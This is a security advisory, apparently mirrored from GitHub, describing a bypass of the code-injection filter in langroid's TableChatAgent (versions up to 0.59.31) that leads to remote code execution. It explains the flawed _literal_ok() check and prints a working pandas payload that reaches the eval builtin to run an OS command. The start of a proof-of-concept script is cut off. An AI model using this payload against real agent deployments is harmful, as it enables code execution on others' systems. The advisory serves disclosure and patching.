vulnerability / NVI-00017550 / Revision 1
Langroid has WAF Bypass Leading to RCE in TableChatAgent
GitHub lists this reviewed advisory for langroid. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.
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01 / Meaning
Why it matters
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02 / Applicability
The affected context
Affected versions, configuration prerequisites and known exclusions are public. Confirm each one against the deployed service.
langroid
source listed<= 0.59.31
## Affected Scope langroid <= 0.59.31 ## Vulnerability Description CVE-2025-46724 fix bypass: TableChatAgent can call pandas_eval tool to evaluate the expression. There is a WAF in `langroid/utils/pandas_utils.py` introduced to block code injection CVE-2025-46724. However it can be bypassed due to `_literal_ok()` returning `False` instead of raising `UnsafeCommandError` on invalid input, combined with unrestricted access to dangerous dunder attributes (`__init__`, `__globals__`, `__builtins__`). This allows chaining whitelisted DataFrame methods to leak the `eval` builtin and execute arbitrary code. ## Reproduction & PoC This payload is used to bypass the waf, when executed, the column name `__import__('os').system('ls')#...` will be passed to eval ```python df.add_prefix("__import__('os').system('ls')#").T.groupby(by=df.__init__.__globals__['__builtins__']['eval']) ``` here is the PoC ````python """Minimal TableChatAgent Demo using Langroid""" import os from langroid.agent.special.table_chat_agent import TableChatAgent, TableChatAgentConfig from langroid.agent.task import Task import pandas as pd from langroid.language_models.openai_gpt import OpenAIGPTConfig # Path to
03 / Response
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04 / Limits
What this report cannot establish
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05 / Provenance
Sources you can inspect
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- GHSA-x34r-63hx-w57f ↗
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- Revision 1 ·
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